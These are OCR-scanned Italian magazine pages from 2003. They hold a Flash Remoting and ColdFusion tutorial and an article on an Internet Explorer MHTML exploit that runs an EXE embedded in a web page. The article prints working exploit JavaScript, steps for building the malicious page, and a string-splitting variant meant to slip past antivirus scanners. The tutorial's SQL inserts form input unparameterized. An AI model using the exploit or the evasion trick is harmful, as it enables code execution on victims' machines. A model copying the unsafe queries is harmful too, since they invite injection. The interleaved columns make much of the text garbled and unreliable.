per di una nuova era per le applicazioni web: le Rich In- Sviluppare con Flash Remoting significa avere a di-
sviluppare ternet Application (RIA). Animazioni, suoni, video ed sposizione un web server con uno dei seguenti appli-
con Flash effetti speciali hanno cominciato ad arricchire le inter- cation server installati:
Remoting facce web mantenendo la possibilità di caricare dina-
Sviluppare applicazioni
micamente i contenuti. Già dalle vecchie versioni era Coldfusion Mx
per Flash Remoting signi-
fica utilizzare l'ambiente possibilire comunicare con linguaggi server-side .NET
di sviluppo di Flash Mx. (ColdFusion, ASP, PHP, JSP) per accedere a fonti dati J2EE
Ma vuol dire anche utiliz- esterne ed eseguire scambi di dati con i server remoti.
zare un linguaggio lato
L’ultima versione del programma aggiunge nuove Utilizzando il Coldfusion Mx l’utente non deve
server. Nel nostro esem-
pio abbiamo utilizzato il potenzialità al linguaggio per potenziare quest’aspet- preoccuparsi di installare nulla sul server remoto in
Coldfusion mx per poter to dello sviluppo. Mi riferisco al nuovo oggetto Load- quanto il programma già include nativamente il sup-
creare le funzioni neces- Vars() e al più performante oggetto XML. Con questi porto al Flash Remoting. Negli altri due casi (.NET e
sarie all'accesso della
fonte dati. Quest'ultima è
strumenti, un programmatore Actionscript di medio- J2EE) è necessario scaricare e installare il programma
stata creata con Access basso livello aveva la possibilità di scrivere codice per che trovate sul sito Macromedia. Quello che invece
2000. Il codice lato ser- rispondere alle più disparate esigenze richieste alle serve è il pacchetto che estende le API dell’Action-
ver è stato scritto utiliz- applicazioni web data-oriented. Rendere le cose più script con i nuovi oggetti remoting. Anche questo
zando le potenzialità di
Dreamweaver Mx.
semplici agli utenti è da sempre la sfida che Macro- pacchetto è gratuitamente scaricabile dal sito Macro-
media si prefigge. Per rispondere a questa sfida nasce media: FlashRemotingCmpntsInstall. Dopo aver lancia-
Flash Remoting Mx, tecnologia che potenzia le fun- to l’eseguibile e portato a termine la procedura di in-
zionalità di Flash Mx per permettergli di accedere a stallazione, aprendo il programma Macromedia Flash
server remoti attraverso application server come Mx, nel pannello Action, una nuova cartella denomi-
Coldfusion Mx, .Net, J2EE. Cercando di sintetizzare nata Remoting è stata aggiunta. A questo punto dispo-

46 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:07 Pagina 47

E E E E E E E E E E E E E T E O R I A E T E C N I C A

niamo di tutto il necessario per poter cominciare a svi- è utilizzato per accedere al servizio remoto durante lo
luppare con Flash Mx applicazioni sotto il Flash Re- sviluppo in ambiente di authoring. Infine il metodo
moting. getService crea un oggetto che permette l’accesso alle
funzioni dell’application server. Lo sviluppatore è in
grado ora di poter richiamare qualsiasi funzione del
servizio invocato, richiamandola direttamente da Ac-
tionScript con il suo nome.
Flash
LA NOSTRA PRIMA
APPLICAZIONE Flash Remoting
Per capire le potenzialità del Flash Remoting, nulla istruzioni per l’uso
meglio di un esempio reale! La nostra applicazione
Fig. 1: Nuova cartella Remoting nel pannello
web permette all’utente di scegliere da un menu a ten-
Action. dina uno dei corsi di formazione che la nostra fittizia
società mette a disposizione del pubblico, e fornisce
dinamicamente informazioni sul prezzo e sulla sede
COME FUNZIONA logistica della selezione effettuata. Tutto è progettato
IL FLASH REMOTING e costruito nell’ambiente di Flash Mx. La nostra ap-
Prima di addentrarci nel codice, proviamo a capire co- plicazione di esempio prevede la creazione di un da-
me funziona il Flash Remoting. I dati che vengono in- tabase in formato Access, un componente in Coldfu-
viati e passati al servizio (CFC, JavaBean, classe .NET) sion Mx, e il file swf creato con il Flash Mx. Per prova-
che viene invocato, passano sul protocollo http ed uti- re i file è necessario avere installato un web server e
lizzano il formato AMF. L’acronimo sta per Action Coldfusion Mx.
Message Format ed è basato su un modello SOAP
L'oggetto
(Simple Object Model Protocol) che rende automatica
loadVars()
L'oggetto LoadVars
la serializzazione dei dati all’interno del Flash Remo- IL DATABASE sostituisce il co-
ting. Lo sviluppatore, deve includere alcune classi Ac- Il nostro database è in formato Access e prevede tre ta- mando loadVariable.
tionScript esterne installate sul sistema insieme al set di belle: Calendario, Città, Corsi. La tabella Calendario Il nuovo comando mette
a disposizione dello svi-
componenti del paragrafo precedente. In particolare: conterrà i seguenti campi: ID, IdCorso, IdOrario, IdDo- luppatore metodi sempli-
cente, Data_Inizio, Data_Fine, Id_Status_Corso, N_Iscrit- ci e potenti per comuni-
#include "[Link]" ti, Max_Iscritti, Overbooking. La Tabella Corsi avrà i se- care con linguaggi lato
#include "[Link]" guenti campi: ID, Codice, Descrizione, Ore e Prezzo. server. Un esempio di co-
dice per spedire e riceve-
#include "[Link]" L'ultima tabella, Città, contiene i campi: Id, Nome, re dati da un file Coldfu-
Struttura, Indirizzo, Telefono, Commenti e Url_Mappa. sion potrebbe essere il
Considerato che questo tipo di applicazioni è costitui- La prima tabella con cui andremo ad interagire è la ta- seguente:
to da una parte che gira sul server, il primo step con- bella Corsi che contiene l'elenco di tutti i corsi. Questa
datiInvio=new LoadVars();
siste nel creare la connessione all’oggetto remoto tabella è collegata alla tabella Calendario dal campo ID. [Link] = "Marco";
(Coldfusion, Jrun, .NET): La prima query sql infatti prevede di ritirare l'elenco [Link] =
di tutti i corsi: "Casario";
[Link]( datiRicezione = new
LoadVars();
"[Link] Select Descrizione, ID from Corsi
[Link](
Oggetto_connessione =
"[Link]", datiRicezione);
[Link](); La seconda query è un pò più complicata e prevede
Oggetto_remoto = Oggetto_connessione.getService( due INNER JOIN:
"mioComponente", this);
SELECT [Link], [Link], Calendario.Data_Inizio,
Il metodo setDefaultGatewayUrl crea un oggetto di tipo Calendario.Data_Fine, Calendario.N_Iscritti,
NetConnection che viene utilizzato per il collegamento Calendario.Max_Iscritti, [Link]
al Flash Remoting. Il metodo createGatewayConnection FROM (Calendario INNER JOIN Citta ON [Link]
= [Link]) INNER JOIN Corsi ON
[Link] = [Link] WHERE
[Link]=#[Link]#

in pratica mi faccio ritornare i valori Data_Inizio, Da-


ta_Fine, N_Iscritti,Max_Iscritti contenuti nei campi del-
la tabella "Caledario" e i valori Nome e Struttura della
tabella Città collegati al tipo di corso selezionato (Cor-
Fig. 2: Le tabelle del nostro database. [Link]=#[Link]#).

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 47
046-051 Flash 11-06-2003 17:23 Pagina 48

T E O R I A E T E C N I C A G G G G G G G G G G G G G

COLDFUSION MX no della funzione.


I COMPONENTI • type: è il tipo di dato che viene inviato.
Una delle novità introdotte in questa nuova versione • required: campo booleano per indicare se l’argo-
di Coldfusion MX consiste nella possibilità data allo mento è obbligatorio.
sviluppatore di creare potenti e riusabili applicazioni • default: valore di default nel caso in cui l’argo-

Flash
Internet attraverso i ColdFusion Components (CFC). mento non venga passato.
Questo nuovo approccio allo sviluppo consente di se-
parare la logica dalle vostre pagine fisiche. Infatti il Il codice della nostra funzione diventa:
codice risiede in un file esterno che può essere invo-
cato dalla pagina cfm con il metodo cfinvoke. Macro- <cffunction access="remote" name="elencoCalendario"
Flash Remoting media ha pubblicato veramente tanto materiale su output="false" returntype="query" hint=
istruzioni per l’uso quest'argomento che mi sembra superfluo scriverne "Ritira i valori nella Tabella Calendario">
altro. Nel nostro articolo il CFC è costituito da due <cfargument name="nomeCorso" type="numeric"
funzioni: elencaCorsi e elencoCalendario. La prima fun- required="true" default="6">
zione ci ritorna i campi Descrizione e ID della tabella <cfquery name="getCalendario" datasource="Corsi">
corsi, mentre la seconda funzione prende come para- SELECT [Link], [Link],
metro l'ID del corso selezionato e ritorna i campi nel- Calendario.Data_Inizio, Calendario.Data_Fine,
la tabelle Calendario, Citta e Corsi. Ogni CFC inizia con Calendario.N_Iscritti, Calendario.Max_Iscritti,
la dichiarazione: [Link]
FROM (Calendario INNER JOIN Citta ON
<cfcomponent name="Elenco_Corsi"> [Link] = [Link]) INNER JOIN Corsi ON
[Link] = [Link] WHERE
che dice al Coldfusion che quel file è un componente [Link]=#[Link]#
I componenti
Eccovi alcuni indiriz- e gli assegna un nome che viene utilizzato per invo- </cfquery>
zi dove potete ap- carlo da una pagina CFM o dal flash remoting. Suc- <cfreturn getCalendario>
profondire l'argometen- cessivamente dichiariamo la prima funzione incarica- </cffunction>
to:
ta di effettuare una query al database. Utilizziamo i </cfcomponent>

Creating CFCs and Web comandi cffunction per definire la funzione e cfquery
Services in Dreamweaver per scrivere il comando SQL da eseguire: Il file è salvato con il nome [Link] nella cartella
MX cfc del nostro webserver.
[Link]
<cffunction access="remote" name="elencaCorsi" output
/desdev/mx/coldfusion
/articles/creating_cfcs.html ="false" returntype="query" hint="I nomi dei corsi con
il loro ID che e' legato alla tabella Calendario"> COLDFUSION MX
CFC Best Practices: Invo- <CFQUERY name="getCorsi" datasource="Corsi"> IL CODICE LATO CLIENT
king a Security CFC Any
Select Descrizione, ID from Corsi La pagina lato client ci servirà solo da test per con-
Way You Like
[Link] </CFQUERY> trollare che il nostro CFC funzioni. Creeremo per que-
/desdev/mx /coldfusion/ <cfreturn getCorsi> sto una tabella che elenca tutti i corsi in catalogo an-
articles/cfc_practices.html </CFFUNCTION> dando a lanciare il metodo elencaCorsi del nostro com-
Learn the Basics on Con-
ponent e, quando l'utente selezionerà un corso, la
suming Web Services Da notare che il parametro access del comando cffunc- stessa pagina verrà caricata di nuovo con le informa-
[Link] tion DEVE essere impostato a remote per poter funzio- zioni dettagliate riguardanti quel corso. Questi dati
/support/flash/flashremoting
nare con il flash remoting. Dopo la chiusura della sono passati dal metodo elencoCalendario. Il file co-
/consuming_ws_using_cfmx
query, per poterci far ritornare il risultato della chia- mincia con la dichiarazione di due variabili: Action e
e inoltre ColdFusion MX mata, utilizzo il comando cfreturn che popola la varia- Pagina. La prima ("Action") servirà da flag per invo-
Support Page bile getCorsi. Con lo stesso metodo creo la seconda care uno dei due metodi. Infatti il valore inziale di Ac-
[Link]
funzione per eseguire la seconda query. L’unica diffe- tion sarà impostato a ElencoCorsi che invocherà il me-
com/desdev/mx/coldfusion
renza è che questa chiamata prevede un argomento todo elencaCorsi del CFC:
che gli viene passato dalla combo box dell’interfaccia
di flash e che rappresenta il corso selezionato dall’u- <cfparam name="Action" default="ElencoCorsi">
tente. Per poter passare un argomento ad un funzione
di un CFC Coldfusion usiamo il comando cfargument Un ciclo di if controlla durante il caricamento della
che prevede la seguente sintassi: pagina il valore contenuto nella variabile Action e a se-
conda di questo richiama un differente metodo del
<cfargument name="nomeCorso" type="numeric" CFC. Per richiamare le funzioni definite all’interno
required="true" default="6"> del CFC utilizzo il parametro method del comando
cfinvoke.
dove l’attributo:
<cfif Action eq "ElencoCorsi">
• name: è il nome del parametro utilizzato all’inter- <cfinvoke component="casario.prove_cf.[Link]"

48 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 31-05-2003 10:09 Pagina 49

E E E E E E E E E E E E E T E O R I A E T E C N I C A

method="elencaCorsi" </tr>
returnvariable="elencoCorsi_rtn"> </cfoutput>
</cfinvoke> </table>
<cfelseif Action eq "ElencoCalendario"> <!--- Parte della pagina costruita una volta che l'utente
<cfinvoke component="casario.prove_cf.[Link]" ha cliccato sul nome del corso --->

Flash
method="elencoCalendario" <cfelseif Pagina eq "ListaCalendario">
returnvariable="elencoCalendario_rtn"> <table border="1" cellpadding="1" cellspacing="1">
<cfinvokeargument name="nomeCorso" <tr>
value="#[Link]#"/> <td align=center colspan=7><b>
</cfinvoke> Dettaglio Corso </b>
</cfif> </td></tr> Flash Remoting
<TR><TD>Corso</TD><TD>Numero iscritti</TD>
istruzioni per l’uso
Il metodo elencaCalendario del CFC richiedeva un pa- <TD>Numero massimo</TD><td>Citta'</td>
rametro che gli viene perciò fornito usando il metodo <td>Struttura</td><TD>Data inizio</TD>
cfinvokeargument e il parametro value: <TD>Data Fine</TD></TR>
<cfoutput Query="elencoCalendario_rtn">
<cfinvokeargument name="nomeCorso" <tr><td>
value="#[Link]#"/> #Descrizione# </td><td> #N_Iscritti# </td><td> L'oggetto XML
#Max_Iscritti#</td><td>#Nome#</td> L'oggetto XML fa
La seconda variabile locale (Pagina) servirà come flag <td>#Struttura#</td> parte della libreria
degli oggetti Client/Ser-
per costruire dinamicamente il contenuto della pagina <td>#Data_Inizio#</td><td>#Data_Fine#</td>
ver di Flash Mx e nel pre-
html. Il valore iniziale della variabile è ListaCorsi che </tr> cedente numero della ri-
stampa la lista dei corsi in catalogo. Il valore di Pagina </cfoutput> vista gli abbiamo de-
viene passato in querystring sull'href in questo modo: </table> dicato uno speciale. Per
rinfrescare la memoria
</cfif>
vediamo un codice di
<a href="[Link]?nomeCorso=#ID#&Pagina= </body> esempio per caricare da-
ListaCalendario&Action=ElencoCalendario"> </html> ti da un file xml esterno:

objXML = new XML;


Vediamo il codice completo comprendente anche
[Link]("[Link]");
l’html per formattare i dati nella pagina visualizzata ACTIONSCRIPT [Link] = caricato
dal nostro browser: Finalmente possiamo aprire Flash Mx e cominciare a ;
scrivere un po' di codice. Vi ricordo che per poter usu-
<cfparam name="Pagina" default="ListaCorsi"> fruire delle API dovete avere installato il Flash Remo- function caricato(esito) {

<html> ting sul vostro computer. Sotto il menu è comparsa la


trace("Il file xml è stato
<head> nuova voce NetConnection Debugger che in fase di run- caricato");
<title>I nostri Corsi </title> time ci permette di tracciare il collegamento al CFC e
</head> di intercettare gli eventuali errori che si verificano: }
<body>
<!--- La variabile Pagina permette di costruire
dinamicamente il contenuto della pagina web --->
<cfif Pagina eq "ListaCorsi">
Coldfusion
<table border="1" cellpadding="1" cellspacing="1">
Components
<tr> Per approfondire
<td align=center><b> l'argomento potete
I nostri corsi</b> consultare la sezione di
Fig. 3: Il NetConnection Debugger. Macromedia Devnet ri-
</td></tr>
guardante Coldfusion Mx
<CFOUTPUT QUERY="elencoCorsi_rtn"> raggiungibile al seguen-
<tr> Il nostro codice sarà tutto inserito nel primo frame del- te indirizzo:
<td> la Timeline principale. Le prime righe di codice inclu- [Link]/dev
net/
<!--- l'href invia dei parametri per ricaricare la mia pagina deranno le Actionscript Library richieste per comuni- In particolare, un must è
nomeCorso : contiene l'ID della tabella corrispondente care con il Flash Remoting: la lettura dell'articolo
al nome del corso "Introducing to ColdFu-
Pagina : è la variabile locale #include "[Link]" sion Components", per
poter capire cosa si cela
Action : è la variabile locale #include "[Link]"
dietro a questo nuovo
---> #include "[Link]" approccio allo sviluppo
<a href="[Link]?nomeCorso=#ID#&Pagina= server side.
ListaCalendario&Action=ElencoCalendario"> La libreria [Link] in fase di pubblicazione può
#Descrizione# </a> essere eliminata in quanto serve solo per effettuare il
</td> Debug attraverso la finestra NetConnection Debugger. Il

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 49
046-051 Flash 4-06-2003 17:30 Pagina 50

T E O R I A E T E C N I C A G G G G G G G G G G G G G

nostro codice continua lanciando il metodo NetServi- dove è installato il vostro Flash: C:\Programmi\Ma-
[Link] che setta il Coldfusion Mx cromedia\Flash MX\Help\Flash\[Link]. La
server. Il metodo [Link] finestra Service Browser mostra i servizi del Flash re-
permette invece la connessione al Flash Remoting ser- moting in Coldfusion Mx. Per approfondire vi riman-
ver e permette di utilizzare il metodo getService per do al completo help all'interno della cartella dove è in-

Flash
consumare il servizio web (CFC): stallato il Flash: C:\Programmi\Macromedia\Flash MX
\Help\Flash\[Link].
[Link]("[Link] Cominciamo a dichiarare le funzioni che utilizzeremo
flashservices/gateway"); nel nostro movie:
gw = [Link]();
Flash Remoting corsiRMT = [Link]( elencaCorsi = function ()
istruzioni per l’uso "casario.prove_cf.[Link]", this); {
[Link]();
Da notare la riga che invoca il component: };

corsiRMT = [Link]( Questa è la prima funzione che verrà lanciata e che in-
"casario.prove_cf.[Link]", this); voca il metodo elencaCorsi del nostro CFC. Quando in-
dichiamo un component (CFC) Flash automatica-
mente crea una funzione di ritorno che ci permette di
gestire i dati ritornati dal CFC. Nel nostro caso il me-
todo del CFC è elencaCorsi() e di conseguenza la fun-
zione di risposta sarà elencaCorsi_Result(result); il pa-
rametro result contiene l'oggetto query ritornato dal
server:

function elencaCorsi_Result(result) {

Fig. 4: Il NetConnection Debugger in esecuzione. I dati che vengono restituti dall'oggetto query vengo-
no formattati utilizzando l'oggetto DataGlue che di-
RIA
Sta per Rich Inter- il primo parametro che prende la funzione [Link]- spone dei metodi:
net Application e ve_cf.[Link] rappresenta il nostro CFC Prova-
sancisce un nuovo ap- [Link] inserito nella cartella Casario\prove_cfc\Prova- [Link](dataConsumer,
proccio allo sviluppo di
[Link]. Perciò quando facciamo riferimento ad un dataProvider, formatFunction)
applicazioni per il web,
orientate ad aggiungere CFC dobbiamo includerlo con il suo riferimento asso- [Link](dataConsumer,
una più ricca e semplice luto rispetto alla cartella wwwroot. Prima di andare dataProvider, labelString, dataString)
interfaccia utente e a mi- avanti eseguiamo il filmato tenendo aperte le finestre
gliorare la "user expe-
rience" dei navigatori.
per il debug. Questa finestra viene incontro agli svi- Il nostro movie flash contiene come dataConsumer una
Sono finiti i tempi delle luppatori per tracciare i processi tra le comunicazioni comboBox con nome di istanza corsi_cb. Nella combo
applicazioni "thin" (ma- con il client Flash, il Flash Remoting e le applicazioni inseriremo tutti i corsi dei nomi riempiendo la pro-
gre,povere) per Macro- server. Per approfondire l'interfaccia della window e prietà label del flash component, e il campo ID della
media !
il suo utilizzo potete aprite il file di help nella cartella nostra tabella Corsi popolerà invece la proprietà data
del menù a tendina:

[Link](corsi_cb, result, formatta);

il metodo bindFormatFunction dell'oggetto DataGlue


formatta l'oggetto query restituito dal metodo del
CFC attraverso la funzione formatta passata come pa-
rametro:

function formatta ( record )


{
return {label: [Link](), data:
[Link]()};
}
}

questa funzione definisci i valori di ritorno che an-


Fig. 5: La finestra Service Browser. dranno a popolare la mia combobox. Quando l'utente

50 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
046-051 Flash 4-06-2003 17:32 Pagina 51

E E E E E E E E E E E E E T E O R I A E T E C N I C A

sceglierà un corso selezionandolo dal menu a tendina data: [Link]()};}


scatterà la funzione Calendario definità nella Properties }
Palette del Componente. La funzione Calendario invo- function calendario()
ca il metodo elencoCalendario passandogli come para- {
metro l'item selezionato nella comboBox: [Link](corsi_cb.getSelectedItem().data);

Flash
}
function calendario() {
[Link](corsi_cb.getSelectedItem().data); function elencoCalendario_Result(result) {
} [Link](calendario_lsb, result,
formatta);
La funzione risultante formatterà i dati ricevuti dal- function formatta ( record ) Flash Remoting
l'oggetto query inserendoli nella List Box e formattan- {
istruzioni per l’uso
doli con l'oggetto Dataglue. var spaziatore = " | "
var miaLabel = [Link]+spaziatore+
function elencoCalendario_Result(result) { [Link]
[Link](calendario_lsb, result, miaLabel += spaziatore+[Link]
formatta); return {label:miaLabel};
}
Utilizziamo il metodo bindFormatFunction che ci per-
mette di definire il data provider su cui indirizzare i }
dati ricevuti e di lanciare una funzione il cui compito [Link]();
è esclusivamente quello di formattare i contenuti.
La funzione formatta crea un delimitatore per rendere
più leggibili i dati ritornati dall’esecuzione della que-
ry e li inserisce nella variabile miaLabel che poi si fa ri- Sul web
tornare: Fig. 6: La finestra di Proprietà del componente. I primi esempi che sul
web hanno utilizzato
questa tecnologia sono
function formatta ( record )
raggiungibili ai seguenti
{ e il risultato finale del nostro movie. Costruire appli- indirizzi:
var spaziatore = " | " cazioni dinamiche facendo interagire Flash e linguag-
var miaLabel = [Link]+spaziatore+ gi server side come ASP, PHP piuttosto che Coldfu- Broadmoor Hotel
<[Link]
[Link] sion è una tecnica possibile e largamente utilizzata
tutorial/flmx_remoting/
miaLabel += spaziatore+[Link] già dalla versione 3 del programma. Utilizzando co- w w w. b r o a d m o o r. c o m >
return {label:miaLabel}; mandi come il loadVars o il loadMovie è possibile inter- [Link]
} cettare dati passati dal server direttamente nell’envi-
ETrade
} roment di Flash. Queste tecniche sono sicuramente
<[Link]
[Link](); più complesse e richiedono una conoscenza appro- tutorial/flmx_remoting/
fondita del linguaggio di programmazione Action- [Link]>
Il codice completo del componente si trova nel file script. Oggi con il Flash Remoting è diventato tutto [Link]

[Link] più semplice e rapido. Sviluppo di applicazioni


Internet dinamiche con
#include "[Link]" Macromedia Mx
#include "[Link]" <[Link]
.com/it/desdev /
#include "[Link]"
mx_whitepaper.pdf>
[Link]("[Link]
flashservices/gateway"); Macromedia Flash MX -
Rich Client di nuova ge-
gw = [Link]();
nerazione
corsiRMT = [Link]( <[Link]
"casario.prove_cf.[Link]", this); com/it/desdev/richclient.
elencaCorsi = function () pdf>
{
Fig. 7: L’applicazione in esecuzione.
[Link]();
};
function elencaCorsi_Result(result) E non dimentichiamo che l’estensione Flash Remo-
{ ting è già compresa all’interno di Coldfusion Mx ser-
[Link](corsi_cb, result, formatta); ver e non necessita quindi di ulteriori spese.
function formatta ( record ) Creare "rich client application" sarà sempre più sem-
{ plice !
return {label: [Link](), Marco Casario

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 51
054-055 exploit 4-06-2003 14:43 Pagina 54

G l i E x p l o i t d e l l a p r o g r a m m a z i o n e G G G G G G G

Le insidie delle
pagine Web
Trasformare una pagina web in un file eseguibile è l’ultima diabolica
invenzione del trojan chiamato Sefex, che prende spunto da un exploit
apparso qualche tempo fa su Bugtraq. Dalla teoria…alla pratica!

C
he le pagine web fossero un potenziale MIME Header
pericolo per i navigatori lo si sapeva già Encoded .EXE file [base64]
File sul Web da tempo. Che gli script contenuti Self-Executing Javascript
[Link]/ioprog71
/[Link] all’interno del codice HTML potessero eseguire
operazioni non lecite, è un fatto ormai risaputo.
Quello che però finora non era mai stato consi- ORIGINI
derato, era la possibilità di inserire un file ese- DEL PROBLEMA
guibile direttamente all’interno delle pagine La falla di sicurezza scoperta questa volta ri-
web, trasformandole in un micidiale strumento guarda direttamente il browser di Microsoft,
di attacco per hackers e virus-writers. Ancora infatti, all’apertura della pagina “pericolosa” In-
una volta la sicurezza di Internet Explorer e di ternet Explorer esegue il parsing della pagina
Windows, a lungo promessa da Microsoft, sem- HTML, decodificando l’allegato di tipo MIME
bra solo una forma di pubblicità non immune da ed eseguendo il codice Javascript. Tale codice è
problemi concreti. Le ricerche condotte sull’ex- progettato ad hoc per puntare a ritroso al file
ploit presentato in questo articolo sono frutto del EXE contenuto nella pagina stessa, con un riferi-
lavoro di http-equiv@[Link], uno dei mem- mento di tipo mhtml:// che provoca un sostanzia-
bri più attivi del gruppo [Link], che da le bypass delle misure di sicurezza del browser:
anni indaga sulle falle e sui problemi di sicurez- in pratica l’eseguibile allegato nella pagina viene
za di Internet Explorer, Outlook Express, a trovarsi nel contesto di sicurezza del client di
Fig. 1: Seguendo il collegamento
[Link]
Netscape ed Eudora. Internet Explorer, guadagnando i privilegi di
d/6961/info/ si possono ottenere applicazione di sistema e il conseguente accesso
tutte le informazioni e i sistemi locale alle risorse. Questo errore è del tipo secu-
operativi vulnerabili al problema STRUTTURA DELLA rity context validation, poiché il browser, inter-
delle pagine HTML con eseguibili
descritto in questo articolo. PAGINA “MALEDETTA” pretando male il codice Javascript e il riferimen-
Il trucco consiste in una pagina web contenente to puntato, si “illude” di eseguire il file EXE in
un “ospite” di tipo eseguibile, che in termini tec- un contesto locale e di conseguenza lo ritiene
nici prende il nome di EXE Embedding. Si tratta sicuro. Il codice Javascript esplica, meglio di
di un’idea semplice quanto micidiale, a cui nes- ogni ulteriore parola, il funzionamento dell’ex-
suno aveva pensato…almeno fino ad ora! Per ploit:
prima cosa si codifica l’eseguibile che si vuol
inserire nella pagina usando l’estensione MIME <script>
e il formato base64, in questo modo un qualsiasi function runEXE()
file .EXE può essere rappresentato dal normale { //Self Executing HTML example
set di caratteri ASCII e non dal formato binario s=[Link];
puro. path=[Link](-0,[Link]("\\"));
Il passo successivo è quello di creare una pagina path=unescape(path);
HTML in cui si inserisce il file eseguibile codifi- [Link]('<object classid=
Fig. 2: Per codificare in formato
base64 un eseguibile, basta cato con estensione MIME e un particolare "clsid:66666666-6666-6666-6666"
allegarlo in un messaggio di posta Javascript capace realizzare l’exploit e di esegui- CODEBASE="mhtml:'+path+'\\[Link]!file:
con Outlook Express e inviarlo a re l’EXE direttamente dalla pagina web. For- ///[Link]"></object>');}
sé stessi. Esistono comunque altre
utility in grado di effettuare malmente, la struttura che deve avere una pagi- setTimeout("runEXE()",200)
questa operazione. na HTML di questo tipo è la seguente: </script>

54 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
054-055 exploit 5-06-2003 16:25 Pagina 55

E E E E E E E G l i E x p l o i t d e l l a p r o g r a m m a z i o n e

Lo script definisce una funzione runEXE() che XDSQHl/AHHpf3Bx+X/wcel2AkW5f2Bx6XLSQC


viene eseguita allo startup della pagina con un ecc. ecc.
ritardo di 200 ms. La funzione dapprima localiz-
za l’indirizzo URL della pagina caricata da Non resta infine che aggiungere, al termine del
Explorer, quindi inietta nel codice HTML, trami- file codificato, sul fondo del documento, il codi-
te l’istruzione [Link], un tag di tipo ce Javascript mostrato al paragrafo precedente e
<object> in grado di eseguire il file EXE incluso salvare il tutto col nome di “README. HTML”.
nella pagina stessa. L’accesso al file eseguibile è Aprendo la pagina con Internet Explorer, si
reso possibile dalla specifica del campo CODE- dovrebbe sperimentare immediatamente l’ese-
BASE: cuzione del file EXE allegato nella pagina web
(Fig. 5). È importante osservare che l’header
CODEBASE="mhtml:C:\\WINDOWS\\SYSTEM32 MIME specifica la codifica utilizzata per allega-
\\[Link]![Link] re il file EXE nella pagina web (Content-Tran-
sfer-Encoding) e indica inoltre il nome del file
che impone ad Internet Explorer di estrarre il file eseguibile codificato (Content-Location), che do-
Fig. 3:Richiamando un messaggio
EXE codificato all’interno della pagina HTML vrà combaciare con quello richiamato dal codice di posta elettronica nel suo
indicata. Naturalmente il nome della pagina Javascript nel campo CODEBASE. formato originale, è possibile
web (in questo esempio README. HTML) deve visualizzare la codifica e le
estensioni MIME.
coincidere con quello effettivo del file.
CONCLUSIONI
È ovvio che una pagina di questo tipo diventa
REALIZZARE L’EXPLOIT un’arma molto pericolosa nelle mani di script-
Per realizzare un exploit di questo tipo utiliz- kiddies e virus writer che, senza perder tempo,
zando un qualsiasi file EXE, non servono grosse hanno già realizzato un primo trojan (Sefex)
competenze tecniche. Occorre innanzitutto codi- capace di sfruttare questa vulnerabilità. Questo
ficare in base64 il file eseguibile da inserire nella significa che provando ad inserire il codice
pagina; per farlo basta ad esempio usare Out- Javascript mostrato prima in una pagina HTML,
look Express, auto-inviandosi al proprio indi- si potrebbe avere una segnalazione di allarme
rizzo di posta elettronica, il file EXE come un dell’antivirus.
Fig. 4: Esempio di file eseguibile
normale allegato (vedi Fig. 2). Aprendo le pro- Ciò però non basta, perché nel caso di sorgenti di codificato in formato base64; in
prietà dell’email spedita e visualizzano il mes- tipo Javascript è abbastanza banale modificare il testa al file è possibile notare la
saggio nel suo formato originale (vedi Fig. 3), si codice lasciando inalterate le sue funzionalità e magic word iniziale “TV” che
caratterizza ogni file EXE
può fare un copia&incolla del file EXE codifica- rendendolo nuovamente invisibile a qualsiasi codificato.
to (Fig. 4) in formato base64. La codifica in antivirus; nel nostro esempio basta infatti scom-
base64 dei file EXE è caratterizzata dalla presen- porre la stringa “incriminata” in quattro pezzi
za in testa di alcuni caratteri fissi (TV), che sono diversi (s1, s2, s3 e s4) definiti in maniera disor-
dovuti alla magic word “MZ” presente in ogni dinata, in modo da camuffare il codice agli occhi
file eseguibile. di un antivirus:

TVqQAAMAAAAEAAAA//...ecc. <script>
^^ function runEXE()
|| magic word costante di un file EXE { //Self Executing HTML example
Fig. 5: L’exploit in azione:
(codificata in base64) s=[Link];
esecuzione del programma
path=[Link](-0,[Link]("\\")); [Link] inserito a scopo
A questo punto bisogna creare un nuovo file path=unescape(path); dimostrativo all’interno di una
pagina web.
(usando un qualsiasi editor di testo) in cui si s2='66666666-6666-6666-6666" ';
inserisce in testa l’header MIME, seguito imme- s4='![Link]
diatamente dopo dal file EXE codificato estratto s3='CODEBASE="mhtml:'+path+'\\[Link]';
da Outlook Express come abbiamo illustrato s1='<object classid="clsid:';
prima. [Link](s1+s2+s3+s4);}
setTimeout("runEXE()",200)
MIME-Version: 1.0 </script>
Content-Location:[Link]
Content-Transfer-Encoding: base64 Al momento Microsoft non ha rilasciato alcuna
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA dichiarazione in merito al problema, né esiste Fig. 6: Norton Antivirus rileva
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA una patch ufficiale in grado di correggere il bug. questo tipo di insidia e la segnala
AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm Non resta che affidarci agli antivirus… e alla come [Link]. Chissà perché
Microsoft non ha ritenuto “degno
9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v buona sorte! di patch” questo tipo di
ZGUuDQ0KJAAAAAAAAACzZnDE9wcel/cHHpf3Bx6 Elia Florio problema…

h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 55
056 biblioteca 31-05-2003 10:11 Pagina 56

B i b l i o t e c a G G G G G G G G G G G G G G G G G

Biblioteca
ON LINE .NET Game Programming With DirectX 9.0
Quanti di voi si sono cimentati nella realizzazione di un videogame? Se la
vostra passione è quella di realizzare applicazioni videoludiche, magari
Perfect XML
Un sito Web pensato sfruttando tutte le potenzialità offerte dal connubio DirectX [Link], questo
esclusivamente come utile testo allora rappresenta lo strumento ideale.
supporto alla comprensio- Gli autori, Lobao e Hatton, hanno realizzato un bel testo che, passo dopo
ne del linguaggio XML e
dei suoi derivati.
passo, attraverso esempi pratici, guidano il lettore alla comprensione dei
